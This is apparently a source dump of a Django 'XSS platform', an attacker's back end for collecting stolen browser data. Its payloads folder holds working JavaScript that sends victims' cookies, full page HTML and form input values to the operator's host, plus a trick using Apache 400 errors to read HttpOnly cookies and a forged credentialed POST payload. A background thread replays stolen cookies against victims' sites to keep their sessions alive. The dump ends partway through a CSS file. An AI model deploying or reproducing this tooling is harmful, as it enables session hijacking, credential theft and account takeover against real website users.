├── README.md ├── config.py ├── function ├── __init__.py ├── account.py ├── ajax.py ├── apps.py ├── email.py ├── filter.py ├── keep.py ├── migrations │ └── __init__.py ├── models.py ├── receive.py ├── shorturl.py └── show.py ├── manage.py ├── payloads ├── apache400.js ├── default.js ├── gethtml.js ├── gethtml2.js ├── getinputs.js ├── getlanip.js ├── htmlimg.js ├── keyboard.js ├── localstorage.js ├── location.js ├── music.js └── postdata.js ├── static ├── index │ ├── css │ │ ├── bootstrap.min.css │ │ └── style.css │ └── img │ │ └── slider-image-1.png └── user │ ├── css │ ├── maps │ │ └── style.css.map │ ├── reset.css │ ├── style.css │ ├── style1.css │ └── tasksform.css │ ├── fonts │ └── Ubuntu │ │ ├── Ubuntu-Bold.eot │ │ ├── Ubuntu-Bold.ttf │ │ ├── Ubuntu-Bold.woff │ │ ├── Ubuntu-Bold.woff2 │ │ ├── Ubuntu-Light.eot │ │ ├── Ubuntu-Light.ttf │ │ ├── Ubuntu-Light.woff │ │ ├── Ubuntu-Light.woff2 │ │ ├── Ubuntu-Medium.eot │ │ ├── Ubuntu-Medium.ttf │ │ ├── Ubuntu-Medium.woff │ │ ├── Ubuntu-Medium.woff2 │ │ ├── Ubuntu-Regular.eot │ │ ├── Ubuntu-Regular.ttf │ │ ├── Ubuntu-Regular.woff │ │ └── Ubuntu-Regular.woff2 │ ├── gulpfile.js │ ├── images │ ├── bg.jpg │ ├── dashboard │ │ └── circle.svg │ ├── faces │ │ └── face.jpg │ ├── favicon.png │ ├── icons.png │ ├── into.png │ ├── logo-mini.svg │ └── logo.png │ ├── img │ ├── bg.jpg │ ├── email.png │ ├── name.png │ └── password.png │ ├── js │ ├── app.js │ ├── chart.js │ ├── dashboard.js │ ├── jquery.js │ ├── jquery.min.js │ ├── misc.js │ ├── off-canvas.js │ └── particles.min.js │ ├── scss │ ├── _background.scss │ ├── _demo.scss │ ├── _fonts.scss │ ├── _footer.scss │ ├── _functions.scss │ ├── _misc.scss │ ├── _navbar.scss │ ├── _reset.scss │ ├── _sidebar.scss │ ├── _typography.scss │ ├── _utilities.scss │ ├── _variables.scss │ ├── components │ │ ├── _badges.scss │ │ ├── _bootstrap-progress.scss │ │ ├── _buttons.scss │ │ ├── _cards.scss │ │ ├── _checkbox-radio.scss │ │ ├── _dropdown.scss │ │ ├── _forms.scss │ │ ├── _icons.scss │ │ ├── _lists.scss │ │ ├── _preview.scss │ │ └── _tables.scss │ ├── landing-screens │ │ └── _auth.scss │ ├── mixins │ │ ├── _animation.scss │ │ ├── _background.scss │ │ ├── _badges.scss │ │ ├── _blockqoute.scss │ │ ├── _buttons.scss │ │ ├── _cards.scss │ │ └── _misc.scss │ └── style.scss │ └── vendors │ ├── css │ └── vendor.bundle.base.css │ ├── iconfonts │ └── mdi │ │ ├── bower.json │ │ ├── css │ │ ├── materialdesignicons.css │ │ ├── materialdesignicons.css.map │ │ ├── materialdesignicons.min.css │ │ └── materialdesignicons.min.css.map │ │ ├── fonts │ │ ├── materialdesignicons-webfont.eot │ │ ├── materialdesignicons-webfont.svg │ │ ├── materialdesignicons-webfont.ttf │ │ ├── materialdesignicons-webfont.woff │ │ └── materialdesignicons-webfont.woff2 │ │ ├── license.md │ │ ├── package.json │ │ ├── preview.html │ │ └── scss │ │ ├── _animated.scss │ │ ├── _core.scss │ │ ├── _extras.scss │ │ ├── _functions.scss │ │ ├── _icons.scss │ │ ├── _path.scss │ │ ├── _variables.scss │ │ └── materialdesignicons.scss │ └── js │ ├── vendor.bundle.addons.js │ └── vendor.bundle.base.js ├── templates ├── index │ └── index.html └── user │ ├── addproject.html │ ├── index.html │ ├── login.html │ ├── project.html │ ├── projectinfo.html │ └── register.html ├── xss ├── __init__.py ├── settings.py ├── urls.py ├── views.py └── wsgi.py ├── xss1.sql └── xssuser ├── __init__.py ├── apps.py ├── urls.py └── views.py /README.md: -------------------------------------------------------------------------------- 1 | # 使用Django打造属于自己的XSS平台 2 | ## 地址 3 | https://github.com/HackerYunen/Django-XSS-Platform 4 | 5 | ## 环境 6 | + python3 7 | 8 | ## 库文件 9 | + requests 10 | + django2 11 | + pymysql 12 | 13 | ## 说明 14 | 前端采用开源Bootstarp模板,后端使用Django打造而成。 15 | 16 | ## 功能 17 | + 邮件提醒 18 | + Cookie活性保持 19 | + 多用户模式 20 | 21 | ## TODO 22 | + 添加多个Payload 23 | 24 | ## 配置 25 | 大部分配置参数均可在config.py文件中修改。 26 | 27 | ## 使用 28 | + 1.在数据库中建好库,修改config.py文件里的内容 29 | + 2.初始化数据库: 30 | ``` 31 | python manage.py makemigrations 32 | python manage.py migrate 33 | python manage.py sqlgrate function 0001 34 | ``` 35 | + 3.运行: 36 | ``` 37 | python manage.py runserver 38 | ``` 39 | 40 | **注意此处由于使用了pymysql做Mysql引擎,故会产生一些错误,需要修改某些自带py库文件,具体请按照错误百度查询即可。** 41 | 42 | ## 截图 43 | **主界面** 44 |  45 | 项目列表页: 46 |  47 | 项目详情页: 48 |  49 | 信封内容框: 50 |  51 | 添加项目页: 52 |  53 | 修改密码框: 54 |  -------------------------------------------------------------------------------- /config.py: -------------------------------------------------------------------------------- 1 | # 网站配置项 2 | Domain = 'http://127.0.0.1:8000/' 3 | Open_register = True 4 | Add_payload = True 5 | Safe_code = 'ISA' 6 | 7 | # C7短连接 APP KEY 8 | App_open= True 9 | App_key = '' 10 | 11 | # 数据库配置 12 | Mysql_host = '127.0.0.1' 13 | Mysql_port = '3306' 14 | Mysql_user = 'root' 15 | Mysql_pass = 'root' 16 | Mysql_db = 'xss' 17 | 18 | # 默认Payload活性保持 19 | Keep_open = True 20 | Keep_time = 1 #保持活性时长,单位h/小时 21 | 22 | # 邮件提醒设置 23 | Email_open = False 24 | Email_user = '' 25 | Email_pass = '' 26 | Email_host = '' 27 | Email_port = 465 28 | Email_value = '您的外卖已送达,请登录平台查询订单' 29 | Email_title = '您的外卖已送达,请登录平台查询订单' 30 | Email_from = 'XSS平台' 31 | Email_to = '顾客' 32 | 33 | # Payloads设置 34 | Payload_path = 'payloads/' 35 | Replace_host = '<-|HOST|->' 36 | Replace_id = '<-|ID|->' -------------------------------------------------------------------------------- /function/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/function/__init__.py -------------------------------------------------------------------------------- /function/account.py: -------------------------------------------------------------------------------- 1 | from django.contrib import auth 2 | from django.contrib.auth.models import User 3 | from config import Safe_code 4 | from .filter import Value_check 5 | 6 | def login(request): #登录 7 | username = request.POST.get('username') 8 | password = request.POST.get('password') 9 | safecode = request.POST.get('safecode') 10 | if not Value_check(username,password,safecode): #检查字段完整 11 | return '请检查字段是否填写完整' 12 | elif safecode != Safe_code: 13 | return '安全秘钥错误' 14 | try: 15 | check = auth.authenticate(username=username,password=password) 16 | if check is None: 17 | return '账号或密码错误' 18 | auth.login(request,check) 19 | return 'True' 20 | except: 21 | return '登录错误' 22 | 23 | def register(request): #注册 24 | username = request.POST.get('username') 25 | password = request.POST.get('password') 26 | email = request.POST.get('email') 27 | safecode = request.POST.get('safecode') 28 | if not Value_check(username,password,safecode,email): #检查字段完整 29 | return '请检查字段是否填写完整' 30 | elif safecode != Safe_code: 31 | return '安全秘钥错误' 32 | try: 33 | User.objects.create_user(username=username,password=password,email=email) 34 | return 'True' 35 | except: 36 | return '注册失败,请更换用户名或邮箱重试' 37 | 38 | def logout(request): #登出 39 | auth.logout(request) 40 | 41 | def change_pass(request): #修改密码 42 | username = request.user.username 43 | oldpass = request.POST.get('oldpass') 44 | newpass = request.POST.get('newpass') 45 | if not Value_check(oldpass,newpass): 46 | return '请检查字段是否填写完整' 47 | user_info = auth.authenticate(username=username,password=oldpass) 48 | if user_info is not None: 49 | user_info.set_password(newpass) 50 | user_info.save() 51 | return 'True' 52 | return '原密码填写错误,请重新填写' -------------------------------------------------------------------------------- /function/ajax.py: -------------------------------------------------------------------------------- 1 | from .models import * 2 | import random,time 3 | from .shorturl import url_to_short 4 | from config import Domain,App_open 5 | 6 | 7 | def rand_id(): 8 | base_str = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM" 9 | final_str = "" 10 | for x in range(10): 11 | final_str += base_str[random.randint(0,61)] #创建随机10位ID 12 | return final_str 13 | 14 | def ajax_letter_value_func(username,letter_id): 15 | try: 16 | letter = Letter.objects.get(owner=username,id=letter_id) #username防止越权查询 17 | letter.status='False' #修改状态为已读 18 | letter.save() 19 | return ['200',letter.rev_value] 20 | except: 21 | return ['500','禁止越权查看'] 22 | 23 | def ajax_delete_letter_func(username,letter_id): 24 | try: 25 | Letter.objects.get(owner=username,id=letter_id).delete() #删除信封 26 | return ['200','True'] 27 | except: 28 | return ['500','禁止越权删除'] 29 | 30 | def ajax_delete_project_func(username,project_id): 31 | try: 32 | Project.objects.get(owner=username,project_id=project_id).delete() #删除项目 33 | except: 34 | return ['500','禁止越权删除'] 35 | try: 36 | Letter.objects.get(owner=username,project_id=project_id).delete() #删除项目信封 37 | except: 38 | pass 39 | return ['200','True'] 40 | 41 | 42 | def ajax_payload_explain_func(payload_name): 43 | try: 44 | payload = Payload.objects.get(name=payload_name) 45 | explain = payload.explain #根据name查询payload的explain 46 | parameter = payload.parameter #查询是否需要额外自定义参数 47 | return ['200',explain,parameter] 48 | except: 49 | return ['500','查询失败','查询失败'] 50 | #添加项目 51 | def ajax_add_project_func(username,name,describe,payload,send_email, 52 | parameter,diy_payload,keep_alive): 53 | project_id = rand_id() #生成随机十位ID 54 | payload_url = Domain + 'js?id=' + project_id 55 | if App_open == True: 56 | short_url = url_to_short(payload_url) #短连接转换 57 | else: 58 | short_url = ['500','未开启短链接服务'] 59 | now_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) #取当前时间,并规定返回的格式 60 | try: 61 | Project.objects.create(project_id=project_id,name=name,owner=username, 62 | describe=describe,create_time = now_time, #添加项目 63 | payload = payload,send_email = send_email, 64 | short_url = short_url,keep_alive = keep_alive, 65 | diy_payload = diy_payload,payload_parameter=parameter) 66 | return ['200','True'] 67 | except: 68 | return ['500','添加失败,请检查字段内容'] 69 | -------------------------------------------------------------------------------- /function/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class FunctionConfig(AppConfig): 5 | name = 'function' 6 | -------------------------------------------------------------------------------- /function/email.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | import smtplib 3 | from email.mime.text import MIMEText 4 | from email.utils import formataddr 5 | from config import Email_user,Email_pass,Email_host,Email_port,Email_value,Email_title,Email_from,Email_to 6 | 7 | ''' 8 | 未读信封邮件提醒 9 | ''' 10 | 11 | def send_mail(user_mail): 12 | try: 13 | msg=MIMEText(Email_value,'plain','utf-8') 14 | msg['From']=formataddr([Email_from,Email_user]) 15 | msg['To']=formataddr([Email_to,user_mail]) 16 | msg['Subject']=Email_title 17 | server=smtplib.SMTP_SSL(Email_host, Email_port) 18 | server.login(Email_user, Email_pass) 19 | server.sendmail(Email_user,[user_mail,],msg.as_string()) 20 | server.quit() 21 | except Exception: 22 | pass -------------------------------------------------------------------------------- /function/filter.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | def XSS_filter(value): #XSS检测 4 | black_list = '.*?(<|>)+.*?' 5 | if re.match(black_list,value): 6 | return False 7 | return True 8 | 9 | def Mail_check(value): #邮箱格式检测 10 | pattern = '^[0-9a-zA-Z]+\@([0-9a-zA-Z]+\.)+[0-9a-zA-Z]+$' 11 | if re.match(pattern,value): 12 | return True 13 | return False 14 | 15 | def Method_check(request,method): #请求方式检测 16 | if request.method==method: 17 | return True 18 | return False 19 | 20 | def Value_check(*args): #检测数据是否为空 21 | for x in args: 22 | if x is None or x == '': 23 | return False 24 | return True 25 | 26 | def None_to_Blank(args_list): #将None转化为空白 27 | for x in range(0,len(args_list)): 28 | if args_list[x] is None: 29 | args_list[x] = '' 30 | return args_list -------------------------------------------------------------------------------- /function/keep.py: -------------------------------------------------------------------------------- 1 | from config import Keep_time,Keep_open 2 | from .models import Letter 3 | import requests,queue,time,threading 4 | 5 | ''' 6 | 使用独立于主线程的其他线程 7 | 来保持通用项目的cookie信息'活性' 8 | 适用于用户量不大的网站 9 | ''' 10 | 11 | def hours_before(): 12 | t = time.time() - Keep_time*60*60 13 | t = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(t)) 14 | return t 15 | 16 | def create_queue(): #从数据库查询需要操作的信封 17 | Letter_queue = queue.Queue() #并加入到任务队列中 18 | lowest_time = hours_before() 19 | try: 20 | keep_letter = Letter.objects.filter(status='True',time__gt=lowest_time,keep_alive='True').values_list('referer','ua','rev_value') 21 | except: 22 | return Letter_queue 23 | letter_list = list(keep_letter) 24 | for x in letter_list: 25 | Letter_queue.put(x) 26 | return Letter_queue 27 | 28 | def keep_alive(): 29 | while True: 30 | time.sleep(2) #请求间隔 31 | task_queue = create_queue() 32 | while not task_queue.empty(): 33 | task = task_queue.get() 34 | url = task[0] 35 | ua = task[1] 36 | cookie = task[2][7:] 37 | headers = {'User-Agent': ua, 'Cookie': cookie} 38 | try: 39 | requests.get(url, headers=headers,timeout=2) 40 | except: 41 | pass 42 | if task_queue.empty() == True: 43 | time.sleep(2) 44 | 45 | if Keep_open: 46 | t1 = threading.Thread(target=keep_alive) 47 | t1.setDaemon(True) #设置守护线程 48 | t1.start() -------------------------------------------------------------------------------- /function/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/function/migrations/__init__.py -------------------------------------------------------------------------------- /function/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | class Payload(models.Model): #Payload表 4 | name = models.CharField(max_length=30) 5 | filename = models.CharField(max_length=100) 6 | explain = models.CharField(max_length=200) 7 | parameter = models.CharField(max_length=100) 8 | 9 | class Project(models.Model): #项目表 10 | project_id = models.CharField(max_length=10) 11 | name = models.CharField(max_length=30) 12 | owner = models.CharField(max_length=10) 13 | describe = models.CharField(max_length=500) 14 | create_time = models.CharField(max_length=50) 15 | payload = models.CharField(max_length=30) 16 | send_email = models.CharField(max_length=5) 17 | short_url = models.CharField(max_length=30) 18 | keep_alive = models.CharField(max_length=5) 19 | diy_payload = models.CharField(max_length=10000) 20 | payload_parameter = models.CharField(max_length=200) 21 | 22 | class Letter(models.Model): #信封表 23 | time = models.CharField(max_length=50) 24 | owner = models.CharField(max_length=10) 25 | project_id = models.CharField(max_length=10) 26 | rev_value = models.TextField() 27 | ip = models.CharField(max_length=15) 28 | method = models.CharField(max_length=6) 29 | referer = models.CharField(max_length=50) 30 | ua = models.CharField(max_length=200) 31 | status = models.CharField(max_length=5,default='True') 32 | -------------------------------------------------------------------------------- /function/receive.py: -------------------------------------------------------------------------------- 1 | import time,base64,json 2 | from .filter import XSS_filter 3 | from .models import Letter,Project 4 | from config import Email_open 5 | from .email import send_mail 6 | from django.contrib.auth.models import User 7 | from .filter import Value_check 8 | 9 | def get_victim_info_func(request): 10 | if request.method == 'GET': #根据不同请求方式获取id、value 11 | project_id = request.GET.get('id') 12 | rev_value = request.GET.get('value') 13 | if not Value_check(project_id,rev_value): 14 | return '请检查字段是否完整' 15 | elif request.method == 'POST': 16 | project_id = request.POST.get('id') 17 | rev_value = request.POST.get('value') 18 | if not Value_check(project_id,rev_value): #兼顾json格式的post数据 19 | try: 20 | print(len(request.body)) 21 | json_list = json.loads(request.body) 22 | project_id= json_list['id'] 23 | rev_value = json_list['value'] 24 | if not Value_check(project_id, rev_value): 25 | return '请检查字段是否完整' 26 | except: 27 | return '请检查字段是否完整' 28 | else: 29 | project_id = '' 30 | rev_value = '' 31 | victim_time = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) #取当前时间,并规定返回的格式 32 | victim_ip = request.META['REMOTE_ADDR'] #取ip 33 | victim_method = request.method #取请求方式 34 | victim_UA = request.META['HTTP_USER_AGENT'] #取UA头 35 | victim_referer = request.META['HTTP_REFERER'] #取Referer头 36 | result = [project_id, rev_value, victim_time, victim_ip, victim_method, victim_referer, victim_UA] 37 | for x in range(0,len(result)): #防止XSS爆菊,将含有<>的内容转成base64 38 | if not XSS_filter(result[x]): 39 | result[x] = base64.b64encode(result[x].encode('utf-8')) 40 | return result 41 | 42 | def rev_letter_func(request): 43 | try: 44 | result = get_victim_info_func(request) #读取请求中含有信息 45 | owner = Project.objects.get(project_id=result[0]).owner #根据project_id取用户 46 | if Email_open: 47 | email = User.objects.get(username=owner).email #获取信封使用者Email 48 | send_mail(email) #发送Email 49 | Letter.objects.create( 50 | project_id=result[0],rev_value=result[1], 51 | time=result[2],ip=result[3],method=result[4], 52 | referer=result[5],ua=result[6],owner=owner,status='True') #将信封存入数据库 53 | except: 54 | return 'Fail' 55 | return 'True' -------------------------------------------------------------------------------- /function/shorturl.py: -------------------------------------------------------------------------------- 1 | from config import App_key 2 | import requests 3 | 4 | ''' 5 | 短链接生成 6 | 接口c7.gg 7 | ''' 8 | 9 | def url_to_short(url): 10 | r = requests.get("http://api.c7.gg/api.php?url={0}&apikey={1}".format(url,App_key)) 11 | return r.text -------------------------------------------------------------------------------- /function/show.py: -------------------------------------------------------------------------------- 1 | from config import Domain,Payload_path,Replace_host,Replace_id 2 | from .models import * 3 | 4 | def show_payload_func(project_id): 5 | try: 6 | p = Project.objects.get(project_id=project_id) #根据project_id取Project情况 7 | payload = p.payload #取payload名称 8 | if payload != 'diy': 9 | payload = Payload.objects.get(name=payload) 10 | filename = payload.filename 11 | parameter = payload.parameter 12 | file = open(Payload_path + filename,'r',encoding='utf-8') #打开文件并读取 13 | value = file.read() #修改动态Payload 14 | value = value.replace(Replace_host,Domain).replace(Replace_id, 15 | project_id) 16 | if parameter == '': 17 | return value 18 | p_list = parameter.split('&') 19 | p_dic = {} 20 | try: 21 | p_value = p.payload_parameter.split('&') #自定义参数处理 22 | for x in p_value: 23 | p_list2 = x.split('=') 24 | p_dic[p_list2[0]]=p_list2[1] 25 | except: 26 | return '自定义参数错误' 27 | for a in p_list: 28 | value = value.replace('<+|'+a+'|+>',p_dic[a]) 29 | else: 30 | value = p.diy_payload #获取DIY_Payload 31 | return value 32 | except: 33 | return 'Error' 34 | 35 | def show_index_number_func(username): 36 | try: 37 | user_letter = Letter.objects.filter(owner=username) #取用户信封情况 38 | except: 39 | user_letter = None 40 | try: 41 | letter_number = user_letter.count #取用户信封总数 42 | except: 43 | letter_number = 0 44 | try: 45 | unread_letter_number = user_letter.filter(status='True').count #取用户未读信封总数 46 | except: 47 | unread_letter_number = 0 48 | try: 49 | project_number = Project.objects.filter(owner=username).count #取用户项目总数 50 | except: 51 | project_number = 0 #定义返回字典 52 | result = {'letter_number':letter_number, 53 | 'unread_letter_number':unread_letter_number, 54 | 'project_number':project_number} 55 | return result 56 | 57 | def show_index_payload_func(): 58 | payload_list = Payload.objects.all() #获取所有payload 59 | result = list(payload_list.values_list('id','name','explain')) #取特定字段并转换成列表 60 | return result 61 | 62 | def show_payload_name_func(): #获取所有payload名称 63 | payload_list = show_index_payload_func() 64 | payload_name_list = [] 65 | for x in payload_list: 66 | payload_name_list.append(x[1]) 67 | return payload_name_list 68 | 69 | def show_table_project_func(username): 70 | project_list = Project.objects.filter(owner=username).order_by('-create_time') #倒序获取用户的项目 71 | result = list(project_list.values_list('project_id','name','payload', 72 | 'describe','create_time','short_url')) 73 | letter = Letter.objects.filter(owner=username) #获取用户信封情况 74 | for x in range(0,len(result)): 75 | result[x] = list(result[x]) #将元组转换成可编辑列表 76 | project_id = result[x][0] 77 | try: 78 | unread_num = letter.filter(project_id=project_id,status='True').count #获取项目未读信封数量 79 | except: 80 | unread_num = 0 81 | try: 82 | letter_num = letter.filter(project_id=project_id).count #获取项目总信封数量 83 | except: 84 | letter_num = 0 85 | result[x].append(unread_num) 86 | result[x].append(letter_num) #将获取结果添加入返回字典中 87 | return result 88 | 89 | def show_table_letter_func(username,project_id): 90 | letter_list = Letter.objects.filter(owner=username,project_id=project_id).order_by('status') #取项目信封情况并按照读取状态排序 91 | result = list(letter_list.values_list('time','ip','referer','method','ua','status','id')) #取特定字段并转换成列表 92 | return result 93 | -------------------------------------------------------------------------------- /manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | def main(): 7 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'xss.settings') 8 | try: 9 | from django.core.management import execute_from_command_line 10 | except ImportError as exc: 11 | raise ImportError( 12 | "Couldn't import Django. Are you sure it's installed and " 13 | "available on your PYTHONPATH environment variable? Did you " 14 | "forget to activate a virtual environment?" 15 | ) from exc 16 | execute_from_command_line(sys.argv) 17 | 18 | if __name__ == '__main__': 19 | main() 20 | -------------------------------------------------------------------------------- /payloads/apache400.js: -------------------------------------------------------------------------------- 1 | var website="<-|HOST|->"; 2 | function setCookies() { 3 | /*apache server limit 8192*/ 4 | var str = ""; 5 | for (var i = 0; i < 819; i++) { 6 | str += "x"; 7 | } 8 | for (i = 0; i < 10; i++) { 9 | var cookie = "ray" + i + "=" + str + ";path=/"; 10 | document.cookie = cookie; 11 | } 12 | } 13 | 14 | function parseCookies() { 15 | if (xhr.readyState === 4 && xhr.status === 400) { 16 | var content = xhr.responseText.replace(/\r|\n/g, '').match(/
(.+)<\/pre>/);
17 | content = content[1].replace("Cookie: ", "");
18 | cookies = content.replace(/ray\d=x+;?/g, '')
19 | try {
20 | var myopener = '';
21 | myopener = window.parent.openner.location;
22 | var myparent = '';
23 | myparent = window.parent.location;
24 | } catch (err) {
25 | myopener = '0';
26 | myparent = '0';
27 | }
28 | window.location = website + 'rev?value=location=' + escape(document.location) + '||||toplocation=' + escape(myparent) + '||||cookie=' + escape(cookies) + '||||opener=' + escape(myopener);
29 | }
30 | }
31 |
32 | setCookies();
33 | var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : window.ActiveXObject ? new ActiveXObject("Microsoft.XMLHTTP") : new XMLHttpRequest();
34 | xhr.onreadystatechange = parseCookies;
35 | xhr.open("POST", "/?" + Math.random(), true);
36 | xhr.send(null);
--------------------------------------------------------------------------------
/payloads/default.js:
--------------------------------------------------------------------------------
1 | var website="<-|HOST|->rev";
2 | (function(){(new Image()).src=website+'?id=<-|ID|->&value=cookie='+escape((function(){try{return document.cookie}catch(e){return''}})());})();
--------------------------------------------------------------------------------
/payloads/gethtml.js:
--------------------------------------------------------------------------------
1 | function help(){xssinfo={};xssinfo["id"]="<-|ID|->";try{xssinfo["value"]=document.documentElement.outerHTML}catch(e){xssinfo["value"]=""}var ajax=new XMLHttpRequest();ajax.open("POST","<-|HOST|->rev");ajax.setRequestHeader("Content-type","text/plain");ajax.send(JSON.stringify(xssinfo));ajax.onreadystatechange=function(){if(ajax.readyState==4&&ajax.status==200){}}}help();
--------------------------------------------------------------------------------
/payloads/gethtml2.js:
--------------------------------------------------------------------------------
1 | var u = '<-|HOST|->rev';
2 | var cr;
3 | if (document.charset) {
4 | cr = document.charset
5 | } else if (document.characterSet) {
6 | cr = document.characterSet
7 | };
8 | function createXmlHttp() {
9 | if (window.XMLHttpRequest) {
10 | xmlHttp = new XMLHttpRequest()
11 | } else {
12 | var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
13 | for (var n = 0; n < MSXML.length; n++) {
14 | try {
15 | xmlHttp = new ActiveXObject(MSXML[n]);
16 | break
17 | } catch(e) {}
18 | }
19 | }
20 | }
21 | createXmlHttp();
22 | xmlHttp.onreadystatechange = writeSource;
23 | xmlHttp.open("GET", "<+|filename|+>", true);
24 | xmlHttp.send(null);
25 | function postSource(cc) {
26 | createXmlHttp();
27 | url = u;
28 | cc = "id=<-|ID|->&value=" + escape(cc);
29 | xmlHttp.open("POST", url, true);
30 | xmlHttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
31 | xmlHttp.setRequestHeader("Content-length", cc.length);
32 | xmlHttp.setRequestHeader("Connection", "close");
33 | xmlHttp.send(cc)
34 | }
35 | function writeSource() {
36 | if (xmlHttp.readyState == 4) {
37 | var c = new postSource(xmlHttp.responseText)
38 | }
39 | }
--------------------------------------------------------------------------------
/payloads/getinputs.js:
--------------------------------------------------------------------------------
1 | function postData() {
2 | console.log("aaaa");
3 | var output = "value="+document.location;
4 | var inputs, index;
5 |
6 | inputs = document.getElementsByTagName('input');
7 | for (index = 0; index < inputs.length; ++index) {
8 | input_name = inputs[index].id || inputs[index].name;
9 | console.log(inputs[index].value);
10 | output = output + "||||" + input_name + "=" + inputs[index].value;
11 | }
12 |
13 | //output = encodeURI(output);
14 | console.log(output);
15 |
16 | //new Image().src = "<-|HOST|->rev?id=<-|ID|->&"+output;
17 |
18 | }
19 |
20 | setTimeout("postData()","<+|timeout|+>");
--------------------------------------------------------------------------------
/payloads/getlanip.js:
--------------------------------------------------------------------------------
1 | function getIPs(callback) {
2 | var ip_dups = {};
3 |
4 | //compatibility for firefox and chrome
5 | var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
6 | var useWebKit = !!window.webkitRTCPeerConnection;
7 |
8 | //bypass naive webrtc blocking using an iframe
9 | if (!RTCPeerConnection) {
10 | //NOTE: you need to have an iframe in the page right above the script tag
11 | //
12 | //
13 | //");
2 | var method = "POST";
3 |
4 | document.onreadystatechange = senddata;
5 |
6 | function senddata(){
7 | if(method == "POST"){
8 | $.ajax({
9 | type: "POST",
10 | url: "<+|url|+>",
11 | data: window.atob("<+|postdata|+>"),
12 | beforeSend: function(xhr) {
13 | xhr.withCredentials = true;
14 | }
15 | });
16 | }else{
17 | document.write('
');
18 | }
19 | }
--------------------------------------------------------------------------------
/static/index/img/slider-image-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerYunen/Django-XSS-Platform/54f45b1c8323b4e33ab8e84a34d5ed792a91355b/static/index/img/slider-image-1.png
--------------------------------------------------------------------------------
/static/user/css/reset.css:
--------------------------------------------------------------------------------
1 | @charset "utf-8";
2 | /* CSS Document */
3 | /*Reset*/
4 | *{box-sizing:content-box;}
5 | a:hover, a:focus{text-decoration:none;}
6 | body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,p,blockquote,th,td{margin:0;padding:0;}
7 | table{border-collapse:collapse;border-spacing:0;}
8 | body{-webkit-text-size-adjust:none;}
9 | fieldset,img{border:0;}
10 | img{ vertical-align: top; max-width: 100%; }
11 | address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal;}
12 | ol,ul{list-style:none;}
13 | caption,th{text-align:left;}
14 | h1,h2,h3,h4,h5,h6{font-size:100%;font-weight:normal;}
15 | q:before,q:after{content:'';}
16 | abbr,acronym {border:0;}
17 | .clearfix:after{visibility:hidden;display: block;font-size:0;content:" ";clear:both;height:0;}
18 | * html .clearfix{ zoom: 1; } /* IE6 */
19 | *:first-child+html .clearfix { zoom: 1; } /* IE7 */
20 | .cli{ clear:both; font-size:0; height:0; overflow:hidden;display:block;}
21 | .lclear{clear:left;font-size:0;height:0;overflow:hidden;}
22 | .fl{float:left;}
23 | .fr{float:right;}
24 |
25 | /* ֹ
26 | iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
27 | script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}
28 | */
29 | /* ıԼ˶
30 | div{word-wrap: break-word;word-break: normal;}
31 | p{text-align:justify; text-justify:inter-ideograph;}
32 | */
33 | /*general*/
34 | body{font-size:12px;font-family:'微软雅黑',"宋体","Arial Narrow",Helvetica,sans-serif;color:#000;line-height:1.2;text-align:left;}
35 | a{color:#333;text-decoration:none;}
36 |
--------------------------------------------------------------------------------
/static/user/css/style1.css:
--------------------------------------------------------------------------------
1 | html,body{
2 | width:100%;
3 | height:100%;
4 | }
5 |
6 | canvas{
7 | display:block;
8 | vertical-align:bottom;
9 | }
10 |
11 | .count-particles{
12 | background: #000022;
13 | position: absolute;
14 | top: 48px;
15 | left: 0;
16 | width: 80px;
17 | color: #13E8E9;
18 | font-size: .8em;
19 | text-align: left;
20 | text-indent: 4px;
21 | line-height: 14px;
22 | padding-bottom: 2px;
23 | font-family: Helvetica, Arial, sans-serif;
24 | font-weight: bold;
25 | }
26 |
27 | .js-count-particles{
28 | font-size: 1.1em;
29 | }
30 |
31 | #stats,
32 | .count-particles{
33 | -webkit-user-select: none;
34 | margin-top: 5px;
35 | margin-left: 5px;
36 | }
37 |
38 | #stats{
39 | border-radius: 3px 3px 0 0;
40 | overflow: hidden;
41 | }
42 |
43 | .count-particles{
44 | border-radius: 0 0 3px 3px;
45 | }
46 |
47 |
48 | #particles-js{
49 | width: 100%;
50 | height: 100%;
51 | position: relative;
52 | background-image: url(../img/bg.jpg);
53 | background-position: 50% 50%;
54 | background-size: cover;
55 | background-repeat: no-repeat;
56 | margin-left: auto;
57 | margin-right: auto;
58 | }
59 |
60 | .sk-rotating-plane {
61 | display: none;
62 | width: 80px;
63 | height: 80px;
64 | margin: auto;
65 | background-color: white;
66 | -webkit-animation: sk-rotating-plane 1.2s infinite ease-in-out;
67 | animation: sk-rotating-plane 1.2s infinite ease-in-out;
68 | z-index: 1;
69 | position: absolute;
70 | top: 50%;
71 | left: 50%;
72 | margin-left: -40px;
73 | margin-top: -80px;
74 | }
75 | .sk-rotating-plane.active{display: block;}
76 |
77 | @keyframes sk-rotating-plane{
78 | 0% {
